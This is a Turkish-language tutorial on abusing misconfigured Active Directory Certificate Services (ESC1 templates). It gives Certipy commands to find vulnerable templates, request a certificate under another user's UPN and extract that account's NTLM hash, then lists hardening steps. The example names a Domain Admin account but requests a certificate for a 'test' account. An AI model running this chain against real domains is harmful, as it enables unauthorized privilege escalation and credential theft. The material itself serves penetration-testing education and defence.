Günümüz siber güvenlik dünyasında, saldırganlar için en büyük hedeflerden biri Active Directory (AD) sistemleridir. Birçok organizasyon, kullanıcı kimlik doğrulama, erişim kontrolü ve güvenli haberleşme gibi kritik süreçler için Active Directory Sertifika Hizmetleri (ADCS) kullanmaktadır. Ancak, ADCS yanlış yapılandırıldığında, saldırganlar için büyük fırsatlar doğar. Yetki yükseltme, kalıcılık sağlama ve kimlik bilgisi hırsızlığı gibi saldırılar, basit yapılandırma hataları nedeniyle gerçekleşebilir.
Bu makalede, ADCS’nin nasıl kötüye kullanılabileceğini, saldırganların hangi güvenlik açıklarından yararlanabileceğini ve bu tehditlere karşı nasıl önlem alınması gerektiğini ele alacağız. Eğer bir siber güvenlik uzmanı, sistem yöneticisi ya da Red Team üyesiyseniz, ADCS güvenliğini anlamak ve potansiyel tehditlere karşı savunma mekanizmaları oluşturmak sizin için kritik bir beceri olacaktır.
ADCS Nedir ve Neden Önemlidir?
Active Directory Sertifika Hizmetleri (ADCS), Microsoft’un sunduğu bir dijital sertifika yönetim sistemidir. Bir organizasyon içinde kullanıcı kimlik doğrulama, sistem güvenliği, şifreleme ve güvenli haberleşme gibi işlemleri yönetmek için kullanılır.
Ancak, ADCS’nin yanlış yapılandırılması ciddi güvenlik açıklarına yol açabilir. Standart bir kullanıcı hesabının, yönetici (Domain Admin) yetkilerini ele geçirmesi gibi senaryolar, basit yapılandırma hataları nedeniyle mümkün hale gelebilir.
Özellikle, 2021’de SpecterOps tarafından yayınlanan bir rapor, ADCS’nin birçok organizasyonda zafiyet içerdiğini ve saldırganlar tarafından kolayca kötüye kullanılabileceğini ortaya koymuştur. Bu nedenle, ADCS güvenliği, hem saldırı hem de savunma perspektifinden dikkatle incelenmesi gereken kritik bir konudur.
ADCS Saldırılarına Başlamadan Önce Gereken Araçlar
ADCS açıklarını tespit etmek ve istismar etmek için bazı araçlardan faydalanacağız. İşte en popüler olanlar:
✅ Certipy → (Ana aracımız, ADCS açıklarını bulmak ve sömürmek için kullanacağız.)
✅ PKINITtools → Kerberos kimlik doğrulamasıyla ilgili testler için.
✅ PyWhisker → Sertifika isteme ve kimlik doğrulama işlemlerinde yardımcı olur.
✅ Certi → ADCS ile ilgili yapılandırmaları incelemek için kullanılır.
✅ Impacket → Ağ güvenliği testlerinde yaygın olarak kullanılan bir araç seti.
✅ Certify → Windows ortamında ADCS açıklarını analiz etmek için.
Öneri: Bu araçların tümünü kurmanız gerekmiyor, ancak özellikle Certipy bizim için en önemli araç olacak. Kurulumu yapmak için:
- pip install certipy
Şimdi, adım adım ilerleyerek nasıl saldırı yapabileceğimizi görelim!
Hedef: Yanlış Yapılandırılmış Sertifika Şablonlarını Kötüye Kullanmak
Sertifika şablonları, Active Directory içindeki kimlik doğrulama ve güvenlik süreçlerini yönetmek için kullanılan nesnelerdir. Bir yönetici, bu şablonları kullanarak sertifikaların nasıl oluşturulacağını ve hangi kullanıcıların sertifika talep edebileceğini belirler.
Ancak, yanlış yapılandırılmış sertifika şablonları, saldırganların düşük yetkili bir hesapla Domain Admin gibi yüksek yetkilere sahip hesapların sertifikalarını almasına olanak tanıyabilir!
Bir ADCS ortamında hangi sertifika şablonlarının etkin olduğunu görmek için Certipy aracını kullanabiliriz. Komut şu şekilde:
- certipy find -u ‘fatih@newexsecurity.com’ -p ‘<PASSWORD>’ -dc-ip ‘<DC_IP>’ -vulnerable -enabled
Bu komut, ağdaki güvenlik zafiyeti bulunan ve aktif olan sertifika şablonlarını listeler. Eğer şablonlardan biri ESC1 güvenlik açığına sahipse, büyük ihtimalle bunu bir saldırı için kullanabiliriz.
ESC1 Güvenlik Açığı: Domain Admin Yetkilerini Ele Geçirmek
ESC1 Nedir?
Bir sertifika şablonunda ESC1 güvenlik açığı varsa, bu şablonu kullanan herhangi bir kullanıcı, kendi yerine bir başka kullanıcı adına sertifika talep edebilir. Bu da, düşük yetkili bir kullanıcı hesabıyla Domain Admin hesabı için bir sertifika oluşturabileceğimiz anlamına gelir!
Eğer bir şablon aşağıdaki özelliklere sahipse, ESC1 zafiyetine sahiptir:
✔ Client Authentication: True
✔ Enabled: True
✔ Enrollee Supplies Subject: True
✖ Requires Management Approval: False
✖ Authorized Signatures Required: 0
Şimdi, eğer bu şablon sistemde mevcutsa, Domain Admin hesabı için sertifika talep edebiliriz!
Domain Admin İçin Sertifika Talep Etme
Eğer ESC1 zafiyetine sahip bir sertifika şablonu bulduysak, aşağıdaki komutla DA_Dan adındaki bir Domain Admin hesabı için sertifika talep edebiliriz:
- certipy req -u ‘fatih@newexsecurity.com’ \
- -p ‘<PASSWORD>’ \
- -dc-ip ‘10.10.1.100’ \
- -target ‘newex-CA.newexsecurity.com’ \
- -ca ‘newex-CA’ -template ‘FOO_Templ’ \
- -upn ‘test@newexsecurity.com’
Bu işlem tamamlandığında, sistem bize test hesabına ait bir sertifika ve özel anahtar (private key) sağlayacaktır. Sertifika dosyası test.pfx olarak kaydedilecektir.
Kimlik Bilgilerini Elde Etme ve Kullanma
Şimdi elimizde test hesabı için bir sertifika var. Bu sertifikayı kullanarak kimlik bilgilerini alabiliriz:
- certipy auth -pfx test.pfx
Bu komut sayesinde, test hesabının NTLM hash’ini elde ederiz. Artık, bu hash’i kullanarak sistemde test yetkileriyle oturum açabilir ve tüm etki alanını kontrol edebiliriz!
Sonuç: Standart bir kullanıcı hesabı üzerinden, yanlış yapılandırılmış ADCS şablonlarını kullanarak Domain Admin yetkilerine ulaştık!
Peki, Bu Tür Saldırılar Nasıl Önlenir?
Şirketinizin veya organizasyonunuzun ADCS altyapısını bu tür saldırılara karşı güvenli hale getirmek için şu önlemleri alabilirsiniz:
- Kullanılmayan sertifika şablonlarını devre dışı bırakın.
- Şablonlara verilen izinleri gözden geçirin ve yalnızca gerekli gruplara erişim izni verin.
- Manuel yönetici onayı gerektiren ayarları etkinleştirin.
- “Enrollee Supplies Subject” ayarını devre dışı bırakın.
- “Client Authentication” gereksinimini kaldırın.
Bu adımları takip ederek ADCS sisteminizi daha güvenli hale getirebilir ve yetki yükseltme saldırılarını önleyebilirsiniz.
Sonuç
Bu yazıda, Active Directory Sertifika Hizmetleri’nin nasıl kötüye kullanılabileceğini ve yanlış yapılandırılmış sertifika şablonlarının saldırganlara nasıl yetki yükseltme imkânı sunduğunu öğrendik. ESC1 güvenlik açığının nasıl çalıştığını ve bunu istismar ederek Domain Admin yetkilerini ele geçirebileceğimizi adım adım inceledik.
ADCS güvenliğini sağlamlaştırmak istiyorsanız, yukarıda belirtilen önlemleri mutlaka uygulayın!